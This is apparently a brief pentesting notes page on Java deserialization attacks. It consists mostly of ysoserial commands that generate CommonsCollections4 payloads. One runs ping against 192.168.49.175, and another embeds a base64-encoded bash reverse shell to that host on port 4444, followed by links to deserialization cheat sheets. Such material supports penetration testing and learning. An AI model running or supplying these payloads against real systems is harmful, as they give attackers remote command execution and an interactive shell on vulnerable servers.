If you can provide a serialized (.ser) file, try to create a payload directly, if you have the source code, or just use a yoserial payload.
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 4 192.168.49.175" > /tmp/recycler.ser
// Prepare a reverse shell command line an transform it into b64.
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ5LjE3NS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" > /tmp/recycler.ser
Notes
- Deserialization attack tool
- https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
- See also https://book.hacktricks.xyz/pentesting-web/deserialization#java-http
Leave a Reply
You must be logged in to post a comment.